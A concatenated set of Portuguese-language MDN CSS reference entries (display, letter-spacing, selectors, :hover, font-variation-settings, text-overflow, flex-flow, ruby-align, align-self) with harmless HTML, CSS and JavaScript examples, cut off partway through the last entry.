(en-US)  \n  ruby         \n  \n<display-listitem> =   \n  <display-outside>? (en-US)     && (en-US)  \n  [ (en-US) flow | (en-US) flow-root ] (en-US)? (en-US)  && (en-US)  \n  list-item                \n  \n<display-internal> =   \n  table-row-group      | (en-US)  \n  table-header-group   | (en-US)  \n  table-footer-group   | (en-US)  \n  table-row            | (en-US)  \n  table-cell           | (en-US)  \n  table-column-group   | (en-US)  \n  table-column         | (en-US)  \n  table-caption        | (en-US)  \n  ruby-base            | (en-US)  \n  ruby-text            | (en-US)  \n  ruby-base-container  | (en-US)  \n  ruby-text-container    \n  \n<display-box> =   \n  contents  | (en-US)  \n  none        \n  \n<display-legacy> =   \n  inline-block  | (en-US)  \n  inline-table  | (en-US)  \n  inline-flex   | (en-US)  \n  inline-grid     \n  \n```\n\nExemplos\n--------\n\n### exibir comparação de valores\n\nNeste exemplo, temos dois elementos de contêiner em nível de bloco, cada um com três filhos embutidos. Abaixo disso, temos um menu de seleção que permite aplicar diferentes valores `display` aos contêineres, permitindo comparar e contrastar como os diferentes valores afetam o layout do elemento e de seus filhos.\n\nIncluímos `padding` e `background-color` nos contêineres e seus filhos, para que seja mais fácil ver o efeito que os valores de exibição estão tendo.\n\n**Nota:** não incluímos nenhuma sintaxe moderna de dois valores, pois o suporte a ela ainda é bastante limitado.\n\n#### HTML\n\n\n```html\n<article class=\"container\">\n  <span>Primeiro</span>\n  <span>Segundo</span>\n  <span>Terceiro</span>\n</article>\n\n<article class=\"container\">\n  <span>Primeiro</span>\n  <span>Segundo</span>\n  <span>Terceiro</span>\n</article>\n\n<div>\n  <label for=\"display\">Escolha um valor de exibição:</label>\n  <select id=\"display\">\n    <option selected>block</option>\n    <option>inline</option>\n    <option>inline-block</option>\n    <option>none</option>\n    <option>flex</option>\n    <option>inline-flex</option>\n    <option>grid</option>\n    <option>inline-grid</option>\n    <option>table</option>\n    <option>list-item</option>\n  </select>\n</div>\n```\n\n\n#### CSS\n\n\n```css\nhtml {\n  font-family: helvetica, arial, sans-serif;\n  letter-spacing: 1px;\n  padding-top: 10px;\n}\n\narticle {\n  background-color: red;\n}\n\narticle span {\n  background-color: black;\n  color: white;\n  margin: 1px;\n}\n\narticle,\nspan {\n  padding: 10px;\n  border-radius: 7px;\n}\n\narticle,\ndiv {\n  margin: 20px;\n}\n```\n\n\n#### JavaScript\n\n\n```js\nconst articles = document.querySelectorAll(\".container\");\nconst select = document.querySelector(\"select\");\n\nfunction updateDisplay() {\n  articles.forEach((article) => {\n    article.style.display = select.value;\n  });\n}\n\nselect.addEventListener(\"change\", updateDisplay);\n\nupdateDisplay();\n```\n\n\n#### Resultado\n\n**Nota:** você pode encontrar mais exemplos nas páginas para cada tipo de dados de exibição separado, linkado acima.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Display Module Level 3 # the-display-properties |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Layout de bloco e inline no fluxo normal (en-US)\n* Introdução aos contextos de formatação (en-US)\n* `visibility`, `float`, `position`\n* `grid`, `flex`"}
{"title":"letter-spacing - CSS","text":"letter-spacing\n==============\n\nA propriedade CSS **`letter-spacing`** específica o comportamento do espaçamento entre caracteres de texto.\n\nExperimente\n-----------\n\nSyntax\n------\n\n\n```css\n/\\* Keyword value \\*/\nletter-spacing: normal;\n\n/\\* <length> values \\*/\nletter-spacing: 0.3em;\nletter-spacing: 3px;\nletter-spacing: 0.3px;\n\n/\\* Global values \\*/\nletter-spacing: inherit;\nletter-spacing: initial;\nletter-spacing: unset;\n```\n\n### Values\n\n`normal`\n\nO espaçamento de letras normal para a fonte atual. Ao contrário de um valor de 0, essa palavra-chave permite que o agente do usuário altere o espaço entre os caracteres para justificar o texto.\n\n`<length>` (en-US)\n\nEspecifica o espaço adicional entre caracteres, além do espaço padrão entre os caracteres. Os valores podem ser negativos, mas pode haver limites específicos da implementação. Os agentes de usuário podem não aumentar ou diminuir o espaço inter-personagem para justificar o texto.\n\n### Formal syntax\n```\n\nletter-spacing =   \n  normal    | (en-US)  \n  <length> (en-US)    \n  \n```\n\nExamples\n--------\n\n### HTML\n\n\n```html\n<p class=\"normal\">letter spacing</p>\n<p class=\"em-wide\">letter spacing</p>\n<p class=\"em-wider\">letter spacing</p>\n<p class=\"em-tight\">letter spacing</p>\n<p class=\"px-wide\">letter spacing</p>\n```\n\n### CSS\n\n\n```css\n.normal {\n  letter-spacing: normal;\n}\n.em-wide {\n  letter-spacing: 0.4em;\n}\n.em-wider {\n  letter-spacing: 1em;\n}\n.em-tight {\n  letter-spacing: -0.05em;\n}\n.px-wide {\n  letter-spacing: 6px;\n}\n```\n\n### Result\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Text Module Level 3 # letter-spacing-property |\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | an optimum value consisting of either an absolute length or the keyword `normal` |\n| Animation type | a length |\n\nBrowser compatibility\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `font-kerning`"}
{"title":"Seletores CSS - CSS","text":"Seletores CSS\n=============\n\nOs Seletores definem quais elementos um conjunto de regras CSS se aplica.\n\nSeletores Básicos\n-----------------\n\nSeletor por tag\n\n Este seletor básico escolhe todos os elementos que correspondem ao nome fornecido.\n **Sintaxe:** `nome-da-tag`\n**Exemplo:** `input` corresponderá a qualquer elemento `<input>`.\n\n\nSeletor por classe\n\n Este seletor básico escolhe elementos baseados no valor de seu atributo `classe`. **Sintaxe:** `.nome-da-classe`\n**Exemplo:** `.index` irá corresponder a qualquer elemento que tenha o índice de classe (provavelmente definido por um atributo class=\"index\", ou similar).\n\n\nSeletor por ID\n\n Este seletor básico escolhe nós baseados no valor do atributo `id`. Deve existir apenas um elemento com o mesmo ID no mesmo documento.\n **Sintaxe:** `#nome-do-id`\n**Exemplo:** `#toc` irá corresponder ao elemento que possuir o id=toc (definido por um atributo id=\"toc\", ou similar).\n\n\nSeletores universais\n\n Este seletor básico irá escolher todos os nós. Ele também existe em um namespace único e em uma variante de todo o namespace também.\n **Sintaxe:** `* ns|* *|*`\n**Exemplo:** `*` irá corresponder a todos os elementos do documento.\n\n\nSeletores por atributo\n\n Este seletor básico ira escolher nós baseados no valor de um de seus atributos, ou até mesmo pelo próprio atributo.\n **Sintaxe:** `[atrib] [atrib=valor] [atrib~=valor] [atrib|=valor] [atrib^=valor] [atrib$=valor] [atrib*=valor]`\n**Exemplo:** `[autoplay]` irá corresponder a todos os elementos que possuirem o atributo `autoplay` (para qualquer valor).\n\n\nCombinadores\n------------\n\nSeletores de irmãos adjacentes (en-US)\n\n O combinador `+` seleciona os nós que seguem imediatamente o elemento especificado anteriormente.\n **Sintaxe:** `A + B`\n**Exemplo:** `ul + li` irá corresponder a qualquer elemento `<li>` que segue imediatamente após um elemento `<ul>`.\n\n\nSeletores gerais de irmãos\n\n O combinador `~` seleciona os nós que seguem (não necessariamente imediatamente) o elemento especificado anteriormente, se ambos os elementos compartilham o mesmo pai.\n **Sintaxe:** `A ~ B`\n**Exemplo:** `p ~ span` irá corresponder a todo elemento `<span>` que seguir um elemento `<p>` dentro de um mesmo elemento pai.\n\n\nSeletor de filhos (en-US)\n\n O combinador `>` seleciona nós que são filhos diretos do elemento especificado anteriormente.\n **Sintaxe:** `A > B`\n**Exemplo:** `ul > li` irá corresponder a todo elemento `<li>` que estiver diretamente dentro de um elemento `<ul>` especificado.\n\n\nSeletor de descendentes (en-US)\n\nO combinador \" \" seleciona os nós que são filhos do elemento especificado anteriormente (não é necessário que seja um filho direto). **Sintaxe:** `A B`**Exemplo:**`div span` irá corresponder a todo e qualquer elemento `<span>` que estiver dentro do elemento `<div>`.\n\nPseudo-classes\n--------------\n\nPseudo-classes permitem selecionar elementos baseados em informações que não estão contidas na árvore de documentos como um estado ou que é particularmente complexa de extrair. Por exemplo, eles correspondem se um link foi visitado anteriormente ou não.\n\nPseudo-elementos\n----------------\n\nPseudo-elementos são asbtrações da árvore que representam entidades além do que o HTML faz. Por exemplo, o HTML não tem um elemento que descreva a primeira letra ou linha de um parágrafo, ou o marcador de uma lista. Os pseudo-elementos representam essas entidades e permitem que as regras CSS sejam associadas a elas. Desta forma, essas entidades podem ser denominadas independentemente.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4  |"}
{"title":"Seletores de classe - CSS","text":"Seletores de classe\n===================\n\nO **seletor de classes** CSS corresponde aos elementos com base no conteúdo de seus atributos `class.`\n\n\n```css\n/\\* Todos os elementos com class=\"espaçoso\" \\*/\n.espaçoso {\n  margin: 2em;\n}\n\n/\\* Todos os elementos <li> com class=\"espaçoso\" \\*/\nli.espaçoso {\n  margin: 2em;\n}\n\n/\\* Todos os elementos <li> cujo conteúdo do atributo class possua \"espaçoso\" e \"elegante\" \\*/\n/\\* Por exemplo, class=\"elegante antigo espaçoso\" \\*/\nli.espaçoso.elegante {\n  margin: 2em;\n}\n```\n\nSintaxe\n-------\n```\n\n.classe_nome { propriedades de estilo }\n```\n\n\nObserve que isso é o mesmo que `seletor de atributo`:\n```\n\n[classe~=classe_nome] { propriedades de estilo  }\n```\n\nExemplo\n-------\n\n### CSS\n\n\n```css\n.vermelho {\n  color: #f33;\n}\n\n.amarelo-bg {\n  background: #ffa;\n}\n\n.elegante {\n  font-weight: bold;\n  text-shadow: 4px 4px 3px #77f;\n}\n```\n\n### HTML\n\n\n```html\n<p class=\"vermelho\">Este parágrafo tem o texto vermelho.</p>\n<p class=\"vermelho amarelo-bg\">\n  Este parágrafo possui texto em vermelho e fundo amarelo.\n</p>\n<p class=\"vermelho elegante\">\n  Este parágrafo possui texto em vermelho e uma propriedade de estilo\n  \"elegante\".\n</p>\n<p>Este é um parágrafo comum.</p>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # class-html |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":":hover - CSS","text":":hover\n======\n\nResumo\n------\n\nA pseudo-classe `:hover` corresponde quando o usuário designa um elemento com um dispositivo apontador, mas não necessariamente o ativa. Este estilo pode ser substituído por qualquer outra pseudo-classe de link-relacionados, isto é `:link`, `:visited`, e `:active`, aparecendo em regras subsequentes. Na ordem para estilizar apropriadamente links, você precisa colocar a regra`:hover`depois das regras `:link` e `:visited` mas antes da regra `:active`, como definido pela ordem *LVHA*: `:link — :visited — :hover — :active.`\n\nA pseudo-class `:hover` pode ser aplicada a qualquer pseudo-elemento. \nExperimental\n.\n\nUser agents visuais como Firefox, Internet Explorer, Safari, Opera ou Chrome, aplicam o estilo associado quando o cursor(mouse pointer) passa sobre um elemento.\n\n**Nota:** Em telas de toque (touch screens) :hover é impossível ou problemático. Dependendo do navegador a pseudo-classe :hover pode nunca funcionar, ou funcionar apenas por um curto momento depois de \"tocar\" um elemento, ou podem continuar a funcionar mesmo depois que o usuário pare de \"tocar\" o elemento até que o usuário toque outro elemento. Como dispositivos touchscreen são comuns, é importante para desenvolvedores web não terem conteúdos acessíveis apenas quando passamos sobre ele, uma vez que esse conteúdo é mais complicado ou impossível de acessar para usuários desses dispositivos.\n\nExemplos\n--------\n\n\n```css\n:link:hover {\n  outline: dotted red;\n}\n\n.foo:hover {\n  background: gold;\n}\n```\n\n### Menu dropdown\n\nCom a pseudo-classe`:hover`você pode criar algoritmos complexos de cascata. Esta é uma técnica comumente usada, por exemplo, para criar **menus dropdown com CSS** puro (apenas utilizando CSS, sem usar JavaScript). A essência desta técnica é criação de uma regra como a seguinte:\n\n\n```css\ndiv.menu-bar ul ul {\n  display: none;\n}\n\ndiv.menu-bar li:hover > ul {\n  display: block;\n}\n```\n\n\npara ser aplicada a uma estrutura HTML como a seguinte:\n\n\n```html\n<div class=\"menu-bar\">\n  <ul>\n    <li>\n      <a href=\"example.html\">Menu</a>\n      <ul>\n        <li>\n          <a href=\"example.html\">Link</a>\n        </li>\n        <li>\n          <a class=\"menu-nav\" href=\"example.html\">Submenu</a>\n          <ul>\n            <li>\n              <a class=\"menu-nav\" href=\"example.html\">Submenu</a>\n              <ul>\n                <li><a href=\"example.html\">Link</a></li>\n                <li><a href=\"example.html\">Link</a></li>\n                <li><a href=\"example.html\">Link</a></li>\n                <li><a href=\"example.html\">Link</a></li>\n              </ul>\n            </li>\n            <li><a href=\"example.html\">Link</a></li>\n          </ul>\n        </li>\n      </ul>\n    </li>\n  </ul>\n</div>\n```\n\n\nVeja nosso exemplo de menu dropdown baseado em CSS para entender melhor.\n\n### Galeria com imagens full-size e previews\n\nVocê pode usar a pseudo-classe `:hover` para construir uma galeria de imagem, exibindo imagens full-size apenas quando o mouse passa sobre as imagens. Veja esse exemplo para uma possível dica.\n\n**Nota:** Para efeitos análogos, mas baseado na pseudo-classe `:checked` (aplicada para esconder radioboxes), veja esse demo, tirado desta página En/CSS/:checked.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-hover |\n| Selectors Level 4 # the-hover-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":":only-of-type - CSS","text":":only-of-type\n=============\n\nDescrição\n---------\n\nA pseudo-classe CSS `:only-of-type` representa qualquer elemento que não possui irmãos de um determinado tipo.\n\nSintaxe\n-------\n```\n\n:only-of-type { propriedades}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # only-of-type-pseudo |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `:nth-of-type`, `:first-of-type`, `:last-of-type`"}
{"title":"font-variation-settings - CSS","text":"font-variation-settings\n=======================\n\nA propriedade CSS **`font-variation-settings`** fornece controle de baixo nível sobre características de variable font (en-US), especificando os nomes dos quatro eixos das características que você deseja variar, juntamente com seus valores.\n\nExperimente\n-----------\n\n**Nota:** This property is a low-level mechanism designed to set variable font features where no other way to enable or access those features exist. You should only use it when no basic properties exist to set those features (e.g. `font-weight`, `font-style` (en-US)).\n\n**Nota:** font characteristics set using `font-variation-settings` will always override those set using the corresponding basic font properties, e.g. `font-weight`, no matter where they appear in the cascade. In some browsers, this is currently only true when the `@font-face` declaration includes a `font-weight` range.\n\nSintaxe\n-------\n\n\n```css\n/\\* Usar as configurações padrão \\*/\nfont-variation-settings: normal;\n\n/\\* Definir valores para os nomes dos eixos de fontes variáveis \\*/\nfont-variation-settings: \"XHGT\" 0.7;\n\n/\\* Valores globais \\*/\nfont-variation-settings: inherit;\nfont-variation-settings: initial;\nfont-variation-settings: unset;\n```\n\n### Values\n\nO valor desta propriedade pode assumir uma de duas formas:\n\n`normal`\n\nO texto é colocado usando as configurações padrão.\n\n`<string> <number>`\n\nAo renderizar texto, a lista de nomes dos eixos de fontes variáveis é passada para o mecanismo de layout de texto para ativar ou desativar os recursos de fonte. Cada configuração é sempre um ou mais pares que consistem em um `<string>` (en-US) de 4 caracteres ASCII seguidos por um `<number>` indicando o valor do eixo a ser definido. Se a `<string>` tiver mais ou menos caracteres ou contiver caracteres fora do intervalo de códigos U+20 - U+7E, toda a propriedade será inválida. O `<number>` pode ser fracionário ou negativo, dependendo do intervalo de valores disponível em sua fonte, conforme definido pelo designer da fonte.\n```\n\nfont-variation-settings =   \n  normal                        | (en-US)  \n  [ (en-US) <opentype-tag> <number> ] (en-US)# (en-US)    \n  \n<opentype-tag> =   \n  <string> (en-US)    \n  \n```\n\nEixos registrados e personalizados\n----------------------------------\n\nOs eixos de fontes variáveis vêm em dois tipos: **registrados** e **personalizados**.\n\nOs eixos registrados são os mais comumente encontrados - comuns o suficiente para que os autores das especificações considerassem que valia a pena padronizar. Observe que isso não significa que o autor precise incluir tudo isso em sua fonte.\n\nAqui estão os eixos registrados, juntamente com suas propriedades CSS correspondentes:\n\n| Tag do Eixo | Propriedade CSS |\n| --- | --- |\n| \"wght\" | `font-weight` |\n| \"wdth\" | `font-stretch` (en-US) |\n| \"slnt\" (slant) | `font-style` (en-US): `oblique + angle` |\n| \"ital\" | `font-style` (en-US): `italic` |\n| \"opsz\" | `font-optical-sizing` (en-US) |\n\nOs eixos personalizados podem ser qualquer coisa que o designer da fonte deseje variar em sua fonte, por exemplo, alturas ascendentes ou descendentes, o tamanho das serifas ou qualquer outra coisa que possam imaginar. Qualquer eixo pode ser usado desde que seja dado um eixo exclusivo de 4 caracteres. Alguns acabam se tornando mais comuns e podem até se registrar com o tempo.\n\n**Nota:** As tags de eixo registrados são identificadas usando tags minúsculas, enquanto os eixos personalizados devem receber tags maiúsculas. Observe que os designers de fontes não são forçados a seguir essa prática de maneira alguma, e alguns não o fazem. O ponto importante aqui é que as tags de eixo diferenciam maiúsculas de minúsculas.\n\nExemplos\n--------\n\nVeja abaixo exemplos interativos que demonstram os eixos registrados. Você pode encontrar vários outros exemplos de fontes variáveis em nosso Variable fonts guide (en-US), v-fonts.com, e axis-praxis.org.\n\n> \n> **Warning:** **Aviso**: Para usar fontes variáveis em seu sistema operacional, você precisa verificar se está atualizado. Por exemplo, os sistemas operacionais Linux precisam da versão mais recente do Linux Freetype, e o macOS anterior à 10.13 não suportam fontes variáveis. Se o seu sistema operacional não estiver atualizado, você não poderá usar fontes variáveis em páginas da Web ou no Firefox Developer Tools.\n> \n> \n> \n\n### Peso (wght)\n\nO CSS do exemplo a seguir pode ser editado para permitir que você mude os valores de peso da fonte.\n\n### Inclinação (slnt)\n\nO CSS do exemplo a seguir pode ser editado para permitir que você mude os valores oblíquos / oblíquos da fonte.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Fonts Module Level 4 # font-variation-settings-def |\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | a transform |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Variable fonts guide (en-US)\n* OpenType Font Variations Overview\n* OpenType Design-Variation Axis Tag Registry"}
{"title":"text-overflow - CSS","text":"text-overflow\n=============\n\nSumário\n-------\n\nA propriedade `text-overflow` do CSS determina como o conteúdo que ultrapassou a sua div e que não é mostrado ao usuário deve ser exibido. Ele pode ser cortado, mostrar reticências ou até mesmo exibir qualquer string definida pelo autor.\n\n![text-overflow.png](/pt-BR/docs/Web/CSS/text-overflow/text-overflow.png)\n\nO corte acontece na borda da caixa; para cortar no limite de caracteres de uma string personalizada, pode-se usar (`''`).\n\nEssa propriedade afeta apenas o conteúdo que está ultrapassando o bloco ou a div no sentido da linha horizontal (não corta o texto na parte de baixo de um bloco ou div, por exemplo). O texto pode ultrapassar ou transbordar quando utilizado '`white-space:nowrap`' ou quando uma palavra for muito grande.\n\nEssa propriedade do CSS não força um estouro para que ele ocorra. Para que isso aconteça, é necessário que o autor utilize algumas propriedades adicionais no elemento, como setar a propriedade overflow para hidden.\n\n|  |  |\n| --- | --- |\n| Initial value | `clip` |\n| Aplica-se a | block container elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntaxe\n-------\n```\n\nFormal syntax: \n```\ntext-overflow =   \n  clip      | (en-US)  \n  ellipsis    \n  \n```\n\n\n```\n```\n\n/* One-value syntax: the value describe the overflow performed at the end of the line (right end if ltr, left end if rtl) */\ntext-overflow: clip\ntext-overflow: ellipsis\ntext-overflow: \"…\"\n\n/* Two-value syntax: the first value describes the overflow at the left end of the line,\n                     the second at the right end. Directionality has no influence */\n\ntext-overflow: clip ellipsis\ntext-overflow: \"…\" \"…\"\n\ntext-overflow: inherit\n```\n\n### Values\n\n`clip`\n\nThis keyword value indicates to truncate the text at the limit of the content area, therefore the truncation can happen in the middle of a character. To truncate at the transition between two characters, the empty string value (`''`) must be used. The value `clip` is the default for this property.\n\n`ellipsis`\n\nThis keyword value indicates to display ellipses (`'…'`, `U+2026 Horizontal Ellipsis`) to represent clipped text. The ellipsis is displayed inside the content area, shortening more the size of the displayed text. If there is not enough place to display ellipsis, they are clipped.\n\n`<string>` \nExperimental\n\nThe `<string>` (en-US) to be used to represent clipped text. The string is displayed inside the content area, shortening more the size of the displayed text. If there is not enough place to display the string itself, it is clipped.\n\nExamples\n--------\n\n\n```css\np {\n  white-space: nowrap;\n  width: 100%;\n  overflow: hidden; /\\* \"overflow\" value must be different from \"visible\" \\*/\n\n  text-overflow: ellipsis;\n}\n```\n\n\n| CSS value | `direction: ltr` | `direction: rtl` |\n| --- | --- | --- |\n| Expected Result | Live result | Expected Result | Live result |\n| *visible overflow* | 1234567890 | 1234567890 | 0987654321 | 1234567890 |\n| `text-overflow: clip` | t-o_clip.png | 123456 | t-o_clip_rtl.png | 1234567890 |\n| `text-overflow: ''` | 12345 | 123456 | 54321 | 1234567890 |\n| `text-overflow: ellipsis` | 1234… | 1234567890 | …4321 | 1234567890 |\n| `text-overflow: '.'` | 1234. | 1234567890 | .4321 | 1234567890 |\n| `text-overflow: clip clip` | 123456 | 1234567890 | 654321 | 1234567890 |\n| `text-overflow: clip ellipsis` | 1234… | 1234567890 | 6543… | 1234567890 |\n| `text-overflow: clip '.'` | 1234. | 1234567890 | 6543. | 1234567890 |\n| `text-overflow: ellipsis clip` | …3456 | 1234567890 | …4321 | 1234567890 |\n| `text-overflow: ellipsis ellipsis` | …34… | 1234567890 | …43… | 1234567890 |\n| `text-overflow: ellipsis '.'` | …34. | 1234567890 | …43. | 1234567890 |\n| `text-overflow: ',' clip` | ,3456 | 1234567890 | ,4321 | 1234567890 |\n| `text-overflow: ',' ellipsis` | ,34… | 1234567890 | ,43… | 1234567890 |\n| `text-overflow: ',' '.'` | ,34. | 1234567890 | ,53. | 1234567890 |\n\n### Using the abbr tag of HTML5 along with text-overflow\n\nWe have the example of the use of abbr tag inside a div with width 250px;\n\n\n```css\ndiv {\n  width: 250px;\n  display: inline-block;\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  direction: ltr;\n}\n```\n\n\n\n```html\n<div>\n  <abbr title=\"https://developer.mozilla.org/pt-BR/docs/Web/CSS/text-overflow\"\n >https://developer.mozilla.org/pt-BR/docs/Web/CSS/text-overflow</abbr\n >\n</div>\n```\n\n\nThe full path of the URL will be displayed over the mouse, and the screen will be printed as follows: `https://developer.mozilla.org/pt-BR/`...\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Overflow Module Level 3 # text-overflow |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* CSS Reference index\n* Related CSS properties: `overflow`, `white-space`"}
{"title":"flex-flow - CSS","text":"flex-flow\n=========\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade CSS **`flex-flow`** é uma junção das propriedades `flex-direction` e `flex-wrap`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```css\n/\\* flex-flow: <'flex-direction'> \\*/\nflex-flow: row;\nflex-flow: row-reverse;\nflex-flow: column;\nflex-flow: column-reverse;\n\n/\\* flex-flow: <'flex-wrap'> \\*/\nflex-flow: nowrap;\nflex-flow: wrap;\nflex-flow: wrap-reverse;\n\n/\\* flex-flow: <'flex-direction'> and <'flex-wrap'> \\*/\nflex-flow: row nowrap;\nflex-flow: column wrap;\nflex-flow: column-reverse wrap-reverse;\n\n/\\* Global values \\*/\nflex-flow: inherit;\nflex-flow: initial;\nflex-flow: unset;\n```\n\n### Valores\n\nConsulte `flex-direction` e `flex-wrap` para ver os detalhes sobre os valores.\n\n### Sintaxe formal\n```\n\nflex-flow =   \n  <'flex-direction'>  || (en-US)  \n  <'flex-wrap'>         \n  \n```\n\nExemplos\n--------\n\n\n```css\nelemento {\n  /\\* O eixo principal é a direção do bloco com main-start e main-end invertidos.\n \\* Os itens flex estão dispostos em múltiplas linhas \\*/\n  flex-flow: column-reverse wrap;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Flexible Box Layout Module Level 1 # flex-flow-property |\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `flex-direction`: `row`\n* `flex-wrap`: `nowrap`\n |\n| Aplica-se a | flex containers |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `flex-direction`: as specified\n* `flex-wrap`: as specified\n |\n| Animation type | as each of the properties of the shorthand:* `flex-direction`: discrete\n* `flex-wrap`: discrete\n |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Guia de Flexbox CSS: *Conceitos básicos de flexbox*\n* Guia de Flexbox CSS: *Ordenando itens flex (en-US)*"}
{"title":"ruby-align - CSS","text":"ruby-align\n==========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nSummary\n-------\n\nA propriedade **`ruby-align`** do CSS define a distribuição dos direfentes elementos do ruby sobre a base.\n\n|  |  |\n| --- | --- |\n| Initial value | `space-around` |\n| Aplica-se a | ruby bases, ruby annotations, ruby base containers, ruby annotation containers |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | by computed value type |\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores chave \\*/\nruby-align: start;\nruby-align: center;\nruby-align: space-between;\nruby-align: space-around;\n\n/\\* Valores globais \\*/\nruby-align: inherit;\nruby-align: initial;\nruby-align: unset;\n```\n\n### Values\n\n`start`\n\nÉ uma palavra-chave indicando que o ruby será alinhado com o início do texto base.\n\n`center`\n\nÉ uma palavra-chave indicando que o ruby será alinhado no meio do texto base.\n\n`space-between`\n\nÉ uma palavra-chave indicando que o espaço extra será distruibuído entre os elementos do ruby.\n\n`space-around`\n\nÉ uma palavra-chave indicando que o espaço extra será distruibuído entre os elementos do ruby e em torno deles.\n\n### Sintaxe formal\n```\n\nruby-align =   \n  start          | (en-US)  \n  center         | (en-US)  \n  space-between  | (en-US)  \n  space-around     \n  \n```\n\nExemplos\n--------\n\nEsse HTML irá renderizar diferentemente com cada valor do `ruby-align`:\n\n\n```html\n<ruby>\n  <rb>Esse é um grande texto para verificar</rb>\n  <rp>（</rp><rt>ruby curto</rt><rp>）</rp>\n</ruby>\n```\n\n### Ruby alinhado no ínicio do texto base\n\n\n```html\n<ruby>\n  <rb>This is a long text to check</rb>\n  <rp>（</rp><rt>short ruby</rt><rp>）</rp>\n</ruby>\n```\n\n\n\n```css\nruby {\n  ruby-align: start;\n}\n```\n\n\nIsso dará o seguinte resultado:\n\n### Ruby alinhado no centro do texto base\n\n\n```html\n<ruby>\n  <rb>This is a long text to check</rb>\n  <rp>（</rp><rt>short ruby</rt><rp>）</rp>\n</ruby>\n```\n\n\n\n```css\nruby {\n  ruby-align: center;\n}\n```\n\n\nIsso dará o seguinte resultado:\n\n### Espaço extra distribuído entre os elementos do ruby\n\n\n```html\n<ruby>\n  <rb>This is a long text to check</rb>\n  <rp>（</rp><rt>short ruby</rt><rp>）</rp>\n</ruby>\n```\n\n\n\n```css\nruby {\n  ruby-align: space-between;\n}\n```\n\n\nIsso dará o seguinte resultado:\n\n### Espaço extra distribuído entre os elementos do ruby e em torno deles\n\n\n```html\n<ruby>\n  <rb>This is a long text to check</rb>\n  <rp>（</rp><rt>short ruby</rt><rp>）</rp>\n</ruby>\n```\n\n\n\n```css\nruby {\n  ruby-align: space-around;\n}\n```\n\n\nIsso dará o seguinte resultado:\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Ruby Annotation Layout Module Level 1 # ruby-align-property |\n\nCompatilibade de Navegador\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elementos Ruby do HTML: `<ruby>`, `<rt>` (en-US), `<rp>` (en-US), and `<rtc>` (en-US).\n* Propriedades Ruby do CSS: `ruby-position` (en-US), `ruby-merge`."}
{"title":"align-self - CSS","text":"align-self\n==========\n\nA propriedade CSS **`align-self`** alinha itens-flex da linha flex alvo, sobreescrevendo o valor `align-items`. Se alguma dos eixos das margens do dado item está estabelecido como `auto`, então `align-self` é ignorado.\n\nExperimente\n-----------\n\nA propriedade não se aplica a caixas *block-level*, ou células de tabela.\n\nSintaxe\n-------\n\n\n```css\n/\\* valores de palavras-chave \\*/\nalign-self: auto;\nalign-self: normal;\n\n/\\* Alinhamento de posicionamento \\*/\n/\\* align-self não recebe valores left e right \\*/\nalign-self: center; /\\* Coloca o item em torno do centro \\*/\nalign-self: start; /\\* Coloca o item no início \\*/\nalign-self: end; /\\* Coloca o item no fim \\*/\nalign-self: self-start; /\\* Alinha o item flush no início \\*/\nalign-self: self-end; /\\* Alinha o item flush no fim \\*/\nalign-self: flex-start; /\\* Coloca o item flex no início \\*/\nalign-self: flex-end; /\\* Coloca o item flex no fim \\*/\n\n/\\* Alinhamento a partir da baseline \\*/\nalign-self: baseline;\nalign-self: first baseline;\nalign-self: last baseline;\nalign-self: stretch; /\\* Estica itens de tamanho 'auto' para encaixar no container \\*/\n\n/\\* Alinhamento com Oveflow \\*/\nalign-self: safe center;\nalign-self: unsafe center;\n\n/\\* Valores 